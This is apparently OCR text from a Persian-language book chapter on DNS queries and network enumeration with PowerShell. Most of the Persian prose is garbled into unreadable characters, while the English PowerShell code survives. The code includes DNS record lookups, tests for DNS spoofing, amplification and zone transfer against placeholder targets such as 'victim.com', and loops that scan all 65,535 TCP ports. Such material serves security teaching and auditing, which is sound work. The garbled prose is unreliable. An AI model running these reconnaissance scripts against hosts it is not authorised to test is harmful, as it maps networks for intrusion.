QS S0 anles oo oyl a8 Cowl (LB 50 laasl o 00l Jou 90, (slaosls a5 oS o yaouds 40V

P o g 5 BUSSgn b el ol OS5 @ o 53 aS Y ol :Application layer

61.0!— LE}L“’ o.)L:.; Ad QLL:L,.’{)‘ 9 dSU...q J)o Lg‘,_: 6)5}‘5 LgL@gg)L? oSl 4.»......: 9TCP/|P doels 50
Dlojlo 0955 (gl sogehe ol aiii o OSI Juws a5 Il ,0 S o Cagis | 00 <yl TCP/IP
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DNS and types of DNS queries

©oas [P laoyol @ 1) Ll lawgs ailgs BB slaasals ol a5 ol Sl a4 gy o DNS
@ ol aws co |y o 2l 0 gz g0 ol g Slens dacule gy cw wd Sl )5 45 g WS o0 dez
Domain Name U oS o )5 oo b aS aiS o Joe b yg 0 5l ool a0 595 (o5 po adidis s G lgee
T 6lso o sy )5 (5 9b wenis o Sl 2 DNS Laies a3l wel IS 5 4> LSS |, Resolution
A o Ly

DNS overview

WWW.  aile als o SO a5 oK aiS o Jos Sdpnl lp b azm8s lae & DNS
bgpe as VAV VY (Jlie olgie @) IP oyoT a1 T DNS s ©y 5,94 ,0 SHOWCaApcyber.com
5 ookl b baaill) 1y sl (65550 doz i ald (ol S oo ez i el lgime (s jypm 5 &
Sy g aids ol 5l Slaiged ied Soi 5,5 aals Glapl a5 I j0 wisS o )8 LLS P sla e ol

2wl 1P 18.193.36.153 0l sl ls www.snowcapcyber.com el 55 7,5

3)lge Jols zobaws Gl a3 oo Jos wiload (s 4l zohaw 4y 45 oo Sl (o]0 abedes 52 )b 51 DNS
i) 33

5.0rg .com osiile (TLD) YU zhaws (slaaisls 4y bgsyo wledbl ba g0 2| :ROOt dOmain servers
i o gl | TLD (sl g 4 byl oS o 5,155 |, .Net

WSS oo (S, |,0rg L.com wile ¢ o> sl TLD & by o slacanlys 1o a g, o :TLD servers
SIS oo Zalam g0 s (slaaiels Jytuns yiixe pU (sla gy 4 1y Lagz g o Lo

ool g anels b 0,90 40 1) Sledbl oy 5359, 40 g o5 380 b9, ool :AUthoritative name servers
ied ol aals b s by o Y lgus 4 o555l Jotae byl aiS oo (5,lagS5 IP

1) Lo a5 Ca gy by (ISP 6 5] Slans oaims a3l,] Lawss Ygane oyl :Local DNS resolvers

Pl sl g s oy 5 oy Jlol 5 0an] slagarine a4 (arion Copw 10 1, DNS Gils by .05 e
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Types of DNS queries

Srs> g iy Lol glsil 4 aalol o ams o plil alizee Glunl plosl sl 1) las 368 5 alisce glgsl DNS

€5 rmly onl 0gd oo eoliiwl aials sU b Lo e IPVA yuyol LL5L sl 5555 on! :A record query
25 8555 5 awle o e Jlwe i S 40 NSIOOKUP 5o 5l solawl b ¢ Jlo ylgie 4 .ol DNS 9> g oy
AJ oolazul

nslookup www.snowcapcyber.com
W3l ,F oy 25 9)l50 IPVA o jol (6555 ol
"www.snowcapcyber.com "
aals o b Lo 1o IPVE yoyol SL5L sl AAAA 5555 S, A Record 4li. :AAAA record query
D |y 5 0,l50 Jlie (gl 098 o oolawl IPVE (gl jls slalaze 1o .05 oo ool
nslookup -query=AAAA www.snowcapcyber.com
il S so 1y 5 2150 IPVE oyl s 558"
"www.snowcapcyber.com"
b ,o g aald 53 b les pb oy28L sl 5565 ol :Canonical Name (CNAME) record query
oS oS 5 6595 A Al (Jlie laie a4y 098 co solaiwl WS o o Ll T 4y a5 8 late dals pb
nslookup -query=CNAME www.snowcapcyber.com
D310 ,5 cap iS 0 0,3l ] 4 WWW.Snowcapcyber.com s 1, 3 ke pb (5565 o]
@ (Somy Jgtme Jeosl s ueni Helate 4 5545 ol :Mail exchange (MX) record query
S o 5 (658 4 dmlo (Jle leie 4098 o colainl ol dils S sl by Jo!
nslookup -query=MX snowcapcyber.com

Ails 5 ey |, SNOWCAPCYber.com als sl Jues! b, Jotn Juos! 5o y9 5w (5595 0!
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s ¢lp pine sla Name Server b jglaie 4 (55 o] :Name server (NS) record query
S o0 3 (658w amlo (Jle laie 4y 09l oo oolaiul aikls
nslookup -query=NS snowcapcyber.com
Qils 5 oo p SNOWCAPCYber.com als lyp 1, pixe pb slo g5 (5 595 oyl
o 4 [P oyol aan 5 DNS ugSas (gomine jslain 4 (5555 | PoOINter (PTR) record query
S o0 5 658w ambln (Jlke laie a4y 098 oo oolaiul aikls
nslookup 8.8.8.8
Dils )5 o ) IP 8.8.8.8 yuyol b Lo o atels b (5 355 (!
aald S (gl puitne pb g 3,90 50 SleMbl 5 555 ! Start of Authority (SOA) record query
S oS 15 6585 A amln (Jlne Glaie 4y oo o &Sl
nslookup -query=SOA snowcapcyber.com
Qils )5 ey |, SNOWCAPCYDEr.com aiels sl yime pb g0 45 bgs yo Sledbol (5 555 oyl

6l Vsans 3,55, ol S oo b | dals S5 b das o 2t MLl 6 555" ol :TXT record query
o 15 6555 @ awlo (b Glare a4 05 oo oolaiwl Blaal plu  Jesl Coga 5l>1 5l SPE slas 6,
ot

nslookup -query=TXT www.snowcapcyber.com
Qils )5 e |, WWW.SNOWCAPCYber.com aals b las o e 8,55, 4565, (5 595 0!
Jos g0ae IP slaywyol @ |y ludl lawg iy BB slaassls ob a8 col &l Sl 25> DNS
T2y Sl sl 1y b eS 5l alise elgil g 08 oo Joo bojgm 5l (5150 abds LSl 35k 5laiS oo
2l b e pb sl g i o uos! (5lo g P (sla o yol Sb5L ax aas so plil Taisls ol 0wl 57§ 380

DNS (sl )9 50 b 0slgs o )0, dig g NSlOOkUP wisle a1yl 5l ool b oS o lis] DT iloas

4 domain name resolution
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ol e 9 aSes Blaal gl 1y 3 Sledbl 5 0SS | bags SoS ol o, Slas ogou b anil ardls Jolss
.JJ)QT Cawd

DNS and PowerShell

DNS wledlb! 51 g 5 e sl gyl 51 auiles o a5 sas oo @3l |, cmdlet § b o os> PowerShell

,0 DNS Query 4 by, sl cmdlet 3 gols g 5l S p 5l eed ol j0 0sS ool

2wl 00! PowerShell

4 FAQDN (5,5 Resolve ale> ;I DNS wledb| sgziws> sl cmdlet .1 :Resolve-DnsName
AAAA (IPVA oD A oile « 5555 el glgil ¢jgimd ) 09 o oolitwl WSl 5 IP (sla o]
Qo3 oo a1 1) (weSae (s9ws) PTR g NS (MX (IPV6 0 ,0T)

b e o, 6l DNS sla g ialejl sl o> j5b 4 cmdlet .1 :Test-DnsServer

&S o w2l 1, System.Net .NET Framework 4 _.,<.o PowerShell :[System.Net.Dns]
5 A asl andly bl 4y pumes aibl alils LS o pae Olilokl 4y« Bl aSll ol gl 09 @
s slaJssle 3 PowerShell wes wlul 5 el (Son wilgi 5 o cmdlet 1 LS, 5 og oy
L oS a0 PowerShell o) sbol 4 csl yigs do cmdlet L wlgs cpl 51 S5 o 5 eolaral 51 L3

QS oolatul gyl sl Jle 5 aasy 35 cooliinl g6 S y0 (sl 3o Help gns
slo ;0! ;s FQDN (s S Resolve iy 1, DNS (sla g, om0 oo 56l Leis 4y Resolve-DnsName

(0230 o0 O] 5l eolatul egmu 4y dslsl 4o 0sS giiee IP
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SFQDN = "www.snowcapcyber.com.com"
SResult = Resolve-DnsName -Name SFQDN
if (SResult.QueryResults.Count -gt 0) {
SIPAddress = SResult.QueryResults[0].IPAddress
Werite-Host "IP address of SFQDN: SIPAddress "
}else {
Write-Host "Unable to resolve IP for SFQDN"}

1wl 00l ools ploeil 15 0 lge Jlie oyl jo

(SFQDN) oS o i x5 o> Resolve l, 1, FQDN L

oals o3l FADN o 1 wyo1 sl DNS 5, 5l 9> 5wy sl Resolve-DnsName I L. e
oS oo oolail

e se haled g gl azei I P Gopol udsl s 1P o pol Sy JBlos 4y jomie 5555 51 @

g ge o3l el celio ply S 0585 0l 5 IP ool g b wil 33geli (5,355 51 @

Elgil 0o co Sl Loty 4 a5 Cewl 0,5 4w I3l S PowerShell ;s Resolve-DnsName .5, !
v (son Jle L) 6595

B,
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sl b, gt Joosl slayg,m 3,5 Lasin slp MX sles S, :Querying MX records
sls,sS, 5l s> 9wy sl Resolve-DnsName ol o 04 o oolaiwl aels & Gk 5l ¢ o]
SS oolatul ol asly SO sl MX

SDomain =" snowcapcyber.com"
SMXRecords = Resolve-DnsName -Name SDomain -Type MX
if (SMXRecords) {
SMXRecords | ForEach-Object {
SMailServer =$_.NameExchange
SPreference = S_.Preference
Write-Host "MX Record: SPreference"
Write-Host "Mail Server: SMailServer"}
}else {
Write-Host "No MX records found for SDomain"}

a1y MX slos )58, S ol 0usS 0 550l 095 Ll 5,40 aels L |, SnOwcapcyber.com .l ol o
A2 oo yiled 5 gt dbgyye (Soig Sl Sy (5l yg e g 03T Dlarlais ol e

Jgimn a5 (spime ol loygrm 4 aals SO el gl NS sleo,sS, :Querying NS records

Sgds on oolitul diwa asls o] slacs 555 Resolve
el 00 00,91 Resolve-DnsName ;l oolaxwl L INS 5,55, 4 b e 5555 51,21 o9 il o

SDomain = "snowcapcyber.com"
SNSRecords = Resolve-DnsName -Name SDomain -Type NS
if (SNSRecords) {
SNSRecords | ForEach-Object {
SNameServer =S_.NameHost
Write-Host "Name Server: SNameServer" }
}else {
Write-Host "No NS records found for SDomain"}

aold b das 1o NS 0,65, 05 pl oS 550l 045 Ll 0,90 aels L |, SNOWCapcyber.com
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pb & IP slo ool 4o g DNS LugSas (s9iws sl PTR slas,s5, :Querying PTR records
Do oo oolaiwl Al b cue g Cusel (gl el ugSae DNS o4 o oolatwl asals

SIPAddress = "192.168.27.132"
SPTRRecords = Resolve-DnsName -Name SIPAddress -Type PTR
if (SPTRRecords) {
SPTRRecords | ForEach-Object {
SDomainName =S$S_.NameHost
Write-Host "PTR Record: IP Address SIPAddress resolves
to SDomainName" }
}else {
Write-Host "No PTR records found for IP address SIPAddress"

}

calisee oo ,55, b amo we 0l Lais 4 a5 ol PowerShell s ais ;03 151 G Resolve-DnsName
(6555 bz glgil b emdlet cul 5l soliiul b oS gz |, PTR 3 NS (MX (slas 55, alo> 5| DNS
Olye 4y osSae DNS slagoiinz 5 sine ol slojg o ol Slojspm 9550 )0 (sotpe DDl 0l oo
!y PowerShell 5l ol o 655> a5 sims o las o Jlie (pl S (55l aex 34 s 5l ise
AT g Ca e 5o Ol g )sld laasiie 5 a5 e 4 5 5,5 eoliiul DNS b Lo e sla IS

Sgei oS 4 ailie

Cand il a4y aiadsy)l 509380 cBum G DNS cslu ) b, oK 4o Wilgs o Test-DnsServer

(02310 o0 O] 5l eolitul ogmu 4y Lxisl o .ol 53445

SleMbl salgsy Cul San 53585 Cand S oMbl (5 5laex a0 Jsb ;o :DNS enumeration
slg oo gyl Test-DnsServer | colaiwl b oS (5)5laex Ban 4l 9550 ;0 |, DNS & Ly ye
s ol 6l jg e 5 anl ol sl gy caials ol aiile guiad;)l Dledbl aiS (ol 1, DNS (slas 5,
3,55, 5l (Fp il Bas el Loy SO WS eSS S3585 Ce 4 DL ol le
ooliias] Jlozl (slocs iy a5 10 5 sy pos 385 SleMbl glulis (gl alsi oo SVR il DNS
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SDomain = "snowcapcyber.com"
SDnsServer ="192.168.1.1"
# Enumerate MX records
SMXRecords = Test-DnsServer -IPAddress SDnsServer -Name SDomain
-Type MX
if (SMXRecords) {
Write-Host "MX records for SDomain:"
SMXRecords.QueryResults | ForEach-Object {
Write-Host "Server: S(S_.MailExchange)" }
}else {
Write-Host "No MX records found for SDomain"}

5o e Sl See 5355 s :DNS spoofing and cache poisoning tests
DS osliiw! sgm o yBe (sl g 4 SLl 5 Culaa gl Cache Poisoning ol DNS sl s pds o]
Jor bl aS oS ol asilgs oo o] Test-DnsServer sl oolatw! b Goa DNS slagwl iolesl b

SDnsServer ="192.168.1.1"

SMaliciousServer = "malicious.com"

STargetDomain = "snowcapcyber.com"

# Test if DNS server resolves to malicious IP

SDnsResponse = Test-DnsServer -IPAddress SDnsServer -Name

STargetDomain -Type A

if (SDnsResponse.QueryResults.IPAddress -eq "malicious_IP") {
Write-Host "Server vulnerable to spoofing."

} else {
Write-Host "DNS server is not vulnerable."}

&l DNS (lo g, 5l cwl See lexlgo :ldentifying DNS amplification vulnerabilities
s 35S Loyl L3 IP @ sols (g0l polie a5 wigd el g 0 oolawl <9 AMplification oMo

L ol 9> 9 oo Elgl 4 DNS g0 LT asl obs,l sl Test-DnsServer ;l ailg oo o 53445

AsS eolaiwl s b REX P G“"L’ 0L Lo gl LgL(bch)
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SDnsServer ="192.168.1.1"
SQueryType = "ANY"
STargetDomain = "victim.com"
# Test DNS server for amplification vulnerability
SDnsResponse = Test-DnsServer -IPAddress SDnsServer -Name
STargetDomain -Type SQueryType
if (SDnsResponse.QueryResults.Count -gt 1) {
Write-Host "DNS server is vulnerable."
}else {
Write-Host "DNS server is not vulnerable."}

asols DNS (g0 S 5,90 y0 1) (ol Sledbl uilgs o ZONe Transfer :DNS zone transfer tests
sl s, 5l Zone Transfer I, Test-DnsServer ;l ol o o) 53585 Cand amd 518 250 (o ,me 50
S gl jlme s sla JE! 51 G wloads (g0is S ey o oy T LT aS 0 Sl b oisS soliiw! e ol

SDnsServer ="192.168.1.1"
STargetDomain = "target.com"
# Test if zone transfer is allowed
SZoneTransfer = Test-DnsServer -IPAddress SDnsServer -Name
STargetDomain -Type AXFR
if (SZoneTransfer.QueryResults) {
Write-Host "Transfer allowed STargetDomain."
}else {
Write-Host "Zone transfer is not allowed."}

I, Baa DNS ol s b ans e o)l el laaste 4 3505 cud S o Test-DnsServer albus
uixlesl DNS Enumeration slxl L oS ol casyob slagon,So g b piscaw! b
sl oo o534 s Zone Transfer _b; 1 s Amplification wljlas o) o> slas pdscaw]
3685 slacand plnil ol cnl b S deos | el slosgegs 5 09,5 alulis |, Jlazsl alos slals
Olesle ol ol Gl 4 GiolejT ol aShl 5l luebl sl caslio Sozme b 5 (IS & j50 4,
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&I DNS aldes b Joles g1 pds Bllasil g ases ;08 of ) o PowerShell ,s System.Net.Dns )
oS oo L1 T 5l solaiwl Lae sladiges § 02300 o0 o] 5ol sla F5g g loae System.Net.Dns

Glply ol Glo Sy g baie 5l glacgeme 5 Sl <o Sl Gl 5l isu System.Net.Dns S
peianns 5ol 4 DNS (gomins 4 5o a5 canlante Slojoig 4y ol ows o &L DNS U L5 o slacslles
ool WSt Lol e Sl 0 4z sl asils 055 PowerShell ol jsiws b lac, Sul J51s
Sl aas o gaieds; )l Il Wl o System.Net.Dns oM e DNS cledlbl bk b 3985 s

S e Resolve dP sla ol 51 slalT a4ty bie pb oo ol :GetHostAddresses
[System.Net.Dns]::GetHostAddresses("google.com")

el AP sla ool aoz 5leasS co b3k e pb )50 o 1, ids ledbl wis o] :GetHOStEntry
B le slepl g et

[System.Net.Dns]::GetHostEntry("google.com")
Sl 5 o |y (oo aibly e pU wie op] :GetHostName
[System.Net.Dns]::GetHostName()

oS ooliinl 5 90 4 [System.Net.DNs| ;i wuilg oo Sois cons plowl a4
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ol S, Resolve !, GetHostAddresses ... ;1 :Resolve the hostname to an IP address

1S ooliwl abgs o [P ool 4 ybiwe

SipAddresses = [System.Net.Dns]::GetHostAddresses("google.com")
SipAddresses | ForEach-Object {
Write-Host "IP Address: S_"}

@l Gbiee pb 9,50 0 Ads wledbl GetHostEntry ai. :Get the detailed host information

:MQGA

ShostEntry = [System.Net.Dns]::GetHostEntry("google.com")
Write-Host "HostName: S(ShostEntry.HostName)"
Write-Host "Aliases: S(ShostEntry.Aliases -join ', ')"
Write-Host "IP Addresses:"
ShostEntry.AddressList | ForEach-Object {

Write-Host "' S_"}

soliiwl e aibl, b b ob5L ! GetHostName o ;| :Retrieve the local hosthame

SlocalHostName = [System.Net.Dns]::GetHostName()
Write-Host "Local HostName: SlocalHostName"
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CMSie s 4y sl (S a5 Jleis! glalicisl & Saaw, System.Net.Dns )5 L |5 oK
1wl o g Sl piael Canle pU L 4SOl

try {
SipAddresses = [System.Net.Dns]::GetHostAddresses("invalid123")

SipAddresses | ForEach-Object {
Write-Host "IP Address: §_" }
} catch {
Write-Host "Error: $(S_.Exception.Message)"}

Sldos 51 Glos S b a5 vas o 1) ! (ol ol 5 & PowerShell s System.Net.Dns )8
b Resolve gl se3 sloaie b oIS cpl aims plaxil 593 ljgiws b oy Sl 5l Losies |, DNS
WS ol s gl e Bl pb o] Cews s g e B0 Sl b5k dP sla ool 4y Cenla
DNS Slles sloacs alos ol San a5 b 50 ol aiads ) lows DNS U Lo o Cislly 5 35a5 Cans
EMoles 10,5 sl (gl ael IS g slazel LB 1l SO lgie & System.Net.Dns oIS wass sy |,
58Sl s g laliisl 4 Soew, (6,500 ,lpl e asle S o Joe PowerShell L. ,o DNS
OIS el 5 ookl b anl (5555 a8 b Lo 1o slaclad plo] plKim o519 4y ¢ S lla>dle
M Laneis (Dledbl 5 j5laes j0 1) 045 oblg asiles o PowerShell o, 15" System.Net.Dns

s il calize glagy s ;0 DNS L b o cylbog 50 o pas g

Summary

» bl Glp el glaal, wwl sas e PowerShell aass L as DNS § aSs Sloas fuas
Gk ol Jad ol (2l Gl 2 58 a5 b ass oo dl] Sledbl (655l clu ) S pie Sl ladi
QS oo ilows aSL Sl g b cus g Ol (g0, S sl PowerShell g ael p slac Ll
PowerShell ;jgulogs! 4593 a5 aoo oo ylis Juad ol DNS 5,55, o pow 5 DHCP sl gois s

oS ool ) wliles B 05l so ;0B 1, lpsoe 5 035 oo snles |, Ciyllsg o]

b S oo g, (5 il Dbl o 1) ol (697 s g o,ls olais! DNS o Jad 5l sog5 BB isu
5 olaedsl g lag> 5 w2 Resolve DNS wlelas o, Sws ,o ol poe PowerShell ;i oslacsl
sl le 5 dos slo i 0S oo cuS & loe Domain Name Resolution jloebl o Ll

Olnae sl e 5 DMl (5 55L8 4 250 plaasie glp po et )| mlie Glgieas cadiadl)) Loe
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Foo ysba |y e aSl glale (giluwaigs 9 Gialom Sl 55 9550 slaylnl 5 0iS oo LS (g

sl a5 plpae sln 970 g2 50 So lsie @ o oe 05 b ()5 (il S 5 Juad (ol e e o)
it 343 dilyg, Slles o PowerShell @08 o Jlis 4 a5 oS o Jos

S u.i..:\ léL?;S‘ 6‘)% RV )| v u‘j.,..c @ ‘) PowerShell )| oolaiwl 0958 (g  had e
55 waslss ), TCP/UDP
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Network Enumeration and Port Scanning - »,L> Jad

Sogr oSl plosl Glp d985 s 51 idu lee a0 |, PowerShell i solanl S8 Juad ol o
oy el slacmdlet sl oslaisl KsSs « Joe sl Jlie b 5l .0, aunles v, TCP/UDP
58S eolazwl WNET aiile Koo slasss> )l 0 wilgs 5l wlgs oo 433> PowerShell asi,l 5 5,5 wualss

3,5 wuled sy 0,5 soliinl &g Sl plml gl oyl 51 les co a1 5L e sla il 5l (B colys
slel e Enumeration sl gl cilisee slo cmdlet 5l eolain! S56K> ow,p b1y Jad ol 095

oS (5o
11 medles il 4 Jad ol o a8 cul Slegdse (nyiage p) Olegsse

e Network enumeration using PowerShell
e TCP port scanning using PowerShell
e UDP port scanning using PowerShell
e Using PowerShell tools for port scanning

Network enumeration using PowerShell
Byl o cel Glaasiie ol jo a4 Col 3485 Cud )0 g a0 o Network Enumeration
S y900 8 g oy by by o PowerShell wsgl covss Baa aSis pgas ,0 1) (& i Sledlb
,o sk Network Enumeration slxl sly sieis;)l g)l5l Sl o j9aimg lo Jasws ;o died ;08

13,5 wuled oy p |y 3985 s o jelate opl sl PowerShell ;l soliiwl sgos e

asile 4 sla ol)lo b ams e o5l ) 53445 cuus 4 PowerShell :Discovery of network assets
o0,5 Ping sly o1y o 1, Test-Connection sibe Jlygiws oS aiS 1) leolKiws g oy g s o HOSE
Cnld ob sloliss 4 wilgs o Resolve-DnsName .o, |15 a oyl (09 (wyiws j0 ow,p g o HOSE

&S 2l b sl g e g 50 Wilgs o T@St-NetConnection 45" J> 0 S SS

5 kel Oledbl aslys o o 53545 s PowerShell L :Active Directory enumeration
Get- Get-ADUser wile slaylpl oS (5,9lae> San Active Directory (AD) L. s)5e
oolatwl 09,5 ¢ by I8 Sledbl bsL sl wsls o Get-ADGroupMember 3 ADComputer

S oo SaS 0gill (639,5 bli g aSid Ll S0 a4 bosls l g
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ols sy olg e |, PowerShell slac oI :Network shares and permissions
Slp olg oo |, Get-Acl g Get-SmbShare wile Jl)giws 00,5 @ byl slajeme 4l slShare
05ill bl 3y50 y0 |, ola iy g oop 15 & oyl b lad o o yiws 338> g 5L sla Share olulis
.Q)5T Cowdo d.j‘)‘ LS)‘QJ'.’ 0 v

ololis il o PowerShell :Enumeration of network shares and user information
Sl sl pdscam! § 4t sl 0,50 50 1) (6 yin Sledlbl wssles o NetUser 3 NetView sl
QS

50 G g b om0 0 o5l ) $3545 cus 4, PowerShell :Enumeration of running services
a5 3l s> 5 e b Get-Service | solatwl b oS Slulis Baa slagbpe g9, 1) x>
o538 cws Get-WmiObject L Windows Management Instrumentation (WMI)
g5 ol WS sl e Jleiml slac iy 5 o] Slaplats o g 0590 50 Sl aily e

«Ba2 Sl 10 (6 pdcaw] Sl £9,5 sl oy o POwerShell 51 :Vulnerability scanning
‘A..SLSA ) ‘) L;o...xs )‘)5‘ rs).a Lgl.%dm L’ ol ALl ‘SLQ‘_S‘)JJJ&M] as gs’lﬁ:w)iw‘ )‘ oolazw! L’
WS oo S 098l dlas (sla lo g Coglgl 4 pl oS solal]

5 PowerShell's Test-NetConnection :Port scanning and banner grabbing
Cons a0 ledbl pl 0,8 soliwl yu 38,5 ¢ &g Sl pll sl ol o 1, INVOkeWebRequest
KLY G’L.\:L.w cML’ oAzl 6[@00@‘95“

slaloise ,0 345 cus Job ,0 Network Enumeration ¢l 6,90 15 o PowerShell o, oyl 5

5 W )50 4 baedld (pl plnil (b cnl b iled (plolid it 605 0500 sln 1) 63905
Lol (55970 00l (ol Al Sl I Sliabol (gl enlin je2 L

)
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TCP port scanning using PowerShell

Lol Bap s S jo oal 8 L ais b b e Soletiinn gwypm Gl e (Ojyen ]
ook yld b s slas)g o5 > o wiiis Glexlos ol osill 09,5 bla sasas lis 5L slaws
UMb 0iilgs co 5,5 5985 o 9 Sl alonil b ol Bas s el Lol snins ;las Cewl Sae
AS (659] e s b Sl Sitel Cumdg 990 5 (sote

5 f.o axws) Windows PowerShell ,s s4>40 0,5 aea cmdlet < Test-NetConnection
) Q] Ol e (J (b ogd o colaiul aSils &y Jlasl aseis glp Jgl a0 j0 a5 cunl (Favas
13 (6 )l et 3985 Cand Ao 53 Dy Sl bl

Single port scanning with Test-NetConnection

Jlss 1y Jlw pl Test-NetConnection | eolaiwl b Gaa e (g5, ool &g Sl S plxsl sl

Test-NetConnection -ComputerName 192.168.1.100 -Port 80

ComputerName :192.168.1.100
RemoteAddress :192.168.1.100
RemotePort : 80
InterfaceAlias : Ethernet
SourceAddress :192.168.1.101
TcpTestSucceeded : True

g5 00ims yLis a5 wewl Jb Bud piesw 0 A+ O yg WS 0 0l Test-NetConnection « Jlw ol 5o
ailige ol )9 5 05 S

Multiple port scanning with Test-NetConnection

I, Test-NetConnection .s,ls Gaa giwaw o ,0 Sy (paix Sl 4 5L cdel F3580 cus SO
23,5 oolitl ol sl g 5l s b gy 5] il (Sl (5l il S 5 e oo

SRemoteHost ="192.168.1.100"
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SPorts = 80, 443
foreach (SPort in SPorts) {
Test-NetConnection -ComputerName SRemoteHost -Port SPort }

ComputerName :192.168.1.100
RemoteAddress :192.168.1.100
RemotePort : 80
InterfaceAlias : Ethernet
SourceAddress :192.168.1.101
TcpTestSucceeded : True
ComputerName :192.168.1.100
RemoteAddress :192.168.1.100
RemotePort 1443
InterfaceAlias : Ethernet
SourceAddress :192.168.1.101
TcpTestSucceeded : False

o a8 o Sl a5 0500 piaaw (59, |, FEY g A sla e Test-NetConnection o> ol jo

Enumerating open ports with Test-NetConnection

s sl PowerShell 51 oly o less .ol 5L slocs e Enumeration 3gas cous adgl Glaal 51 S5
S oolaiwl 5L slos e yiules g (40,5

SRemoteHost ="192.168.1.100"
SPorts = 1..65535
SOpenPorts = foreach (SPort in SPorts) {
SResult = Test-NetConnection -ComputerName SRemoteHost -Port SPort
if (SResult.TcpTestSucceeded) {
SPort

}

b sl 5 oS co Sl |y San slos e plos Test-NetConnection « Jle ol 5o
aSs Jlasl aseis sl Jol a0 0 a5 Jl> o Test-NetConnection .ale oo ololls

0ol b sl & g oSl plal (lys 3 T30 o (lys cgoiins ) 13l Wil oo eciunsl 0y 1o
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SleMbl ailg co 153585 Cend «BaB wlwas o 10 olE Glol g Curdy sy p lp o) slacl L
S5 ol @ dzg ol 0l b oS sl mex el Slacins 5 Jloio glacs pdycamsl 990 p0 (cate
4550 51U 09l pll (US| 5 alVgis (Slogedh 41 g cenlio jo7me b ddion Wl S9d Lo a5 Cal g0
oolatul o fosdlygiws ol jo a5 Jloj [Test-NetConnection .sgs 5,.55l> WL S8 S

Al T8 s SO Il a0 olile G wiled o gl o

Single port scanning with .NET

b3yl Baa lie S 50 Oy So L LS bl .NET Socket Objects s, wlgs .« PowerShell

SRHost ="192.168.1.100"
SPort = 80
STcpClient = New-Object System.Net.Sockets.TcpClient

try {
STcpClient.Connect(SRHost, SPort)
Write-Host "Port SPort on SRHost is open."

}
catch {

Werite-Host "Port SPort on SRHost is closed or filtered."

}
finally {

STcpClient.Close()}

O 0l ezl S ..&ASLSA & 9 .,\.Stsa NN TCP oS e Y PowerShell ch.s.c u.a‘ 5
23 co )l Dygn o9y Ay b 5l G 050 Juate Ban ()L

Multiple port scanning with .NET

:.3455&))3 |) LQ:UT C«z.x.c‘:gjoos.oj U‘i"‘" ‘) Ldsu)s.:
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SRHost ="192.168.1.100"
SPorts = 80, 443, 22
foreach (SPort in SPorts) {
STcpClient = New-Object System.Net.Sockets.TcpClient
try {
STcpClient.Connect(SRHost, SPort)
Write-Host "Port SPort on SRHost is open."
}
catch {
Write-Host "Port SPort on SRHost is closed or filtered."
}
finally {
STcpClient.Close()}}

Sl ), gl Caxsg g aiS o Sl Bas e jo |y b ,e 5l e PowerShell e, Sl oyl

Enumerating all open ports with .NET

$lp olg o PowerShell 5lcoul (s,9,0 Ban guews o 50 5L sl g ples olulid )lge S 50
0,5 ooliiul b g ) b Silaanns Sl

SRHost ="192.168.1.100"
SStartPort =1
SEndPort = 65535
for (SPort = SStartPort; SPort -le SEndPort; SPort++) {
STcpClient = New-Object System.Net.Sockets.TcpClient
try {
STcpClient.Connect(SRHost, SPort)
Write-Host "Port SPort on SRHost is open."
}

catch {# Port is closed or filtered.}
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finally {
STcpClient.Close()}}

L5k slacs g g oS co Sl Bad biwe jo 1) (Sew las g ples Siletiusw 3k 4 PowerShell

D80 o 8155

S Oy Sl o o Sl S S slo bl 5l Sl cidu Glaie 4 oDy Sl pleil (6l

ICEL P F I LRPES (g yeb sl A.J)s wlbwo‘so Iy oSl oy Qlfo.:.:Sui.,s.Loﬂ

Sl olexe & PowerShell ;s .NET Socket Objects wgioe solitul a5 gtun job a0 a5 olSin .l
Sl Culgs 50 9 A0S o Jos Sl g bypiwcew sl Courdg 20Ul S )],53985 ol (gl (goed ;a8
UDP port scanning using PowerShell

Bas bje 0 oold slacs,g 4 UDP slaais Jlo,l ks PowerShell ;s UDP &g oSl plol

u_il FOSKY 5o ..))‘-.\3 3929 Dygs s./.u.«aj ».\.uLa 6‘).3 6‘ HandShake =2 ‘).a) ‘J.ZSLSA )J).Ai").’&l} QSJ
el 00 00,91 POWerShell ;1 oslacwl b ool g,

SRHost ="192.168.1.100"
SPorts =53, 67,123
foreach (SPort in SPorts) {
SUdpClient = New-Object System.Net.Sockets.UdpClient
try {
SUdpClient.Connect(SRHost, SPort)
SUdpClient.Send([byte[]](0), O, 0)
Write-Host "UDP Port SPort open - SRHost"
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}
catch {

Write-Host "UDP Port SPort closed - SHost."

}
finally {

SUdpClient.Close()}}

S5 g aiS o0 dlul UDP cudlS Lo SO w09 oo 1,85 0uls aseie UDP slacs gy 5,k 5l s Sl 0]
a5 Gl gae cpl A wgd cud al B Jeb o Ll SO ST S o Jleyl Oye e 4 JIB UDP acs

oﬁ"’"LSA M;J.E; 59 )l; g ‘os.w., C).Ian LS:LM | e ;‘ ol 00U J.Llis l; o S yg
0025 SloailSo UDP 1y 5 il slozel LB TCP Sl 51 1iaS wilgs oo UDP Sl 48wl anils a8
b UDP Ji sleaiws & csl See 3L UDP slacs g 5l (S ds od &Sl)1 ] TCP ajlic b g
oSl C8 s ailgs o a5l il 5 o Jlg pla el 1 ogdle .54 False Positive a4 e wilgs o 45 winas
Slr s hsmass Glaylpl 5l 5 0 Jolo liabl caslio joze (bl jl dten 53 55 UDP &)
AusS oolazwl 394 s é.oL‘> sb,s
Using PowerShell tools for port scanning
25 Sid S oo Slaio TCP/UDP &gy Sl 51 a5 o )ls 0459 PowerShell 5L s 5l i
el PowerShell Sl 5l 5 slaiges

https://github.com/BornToBeRoot/ PowerShell _IPv4PortScanner
Iy ol 3550 e 08905e b s oo 03>l 1) l5 4 a5 el ylo el TCP Sl 1501 G IPV4PoOrtScan

] g3 Oyg0 w0l ley8 o auS (e

\IPv4PortScan.ps1 [-ComputerName] <String> [[-StartPort]
<Int32>] [[-EndPort] <Int32>] [[-Threads] <Int32>] [[-Force]]
[<CommonParameters>]

13,5 padled oolaiwl Hlai 8,50 i ;0 Jgl g B0 Sl gl Il el 5T aelsl o
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PS> .\IPv4PortScan.psl -ComputerName www.snowcapcyber.com -EndPort 500
Port Protocol ServiceName ServiceDescription Status

53 tcp domain Domain Name Server open
80 tcp http World Wide Web HTTP open

asls oo |yl ol oS oo ki |, NMap slas Slas 5l 55 a5 sl TCP &gy 125l 1l S PS2 154
S sgbls https://github.com/nccgroup/PS2 s
traceroute &b G 5l oolatwl b aSlis G 51 (5,0 p 4l yuizmen g UDP g TCP Sl 51 15l oyl

22,5 melys oolial gl TCP &gy Ve v v (Sl (gl Il nl 5l eaalol jo iS00 Gty

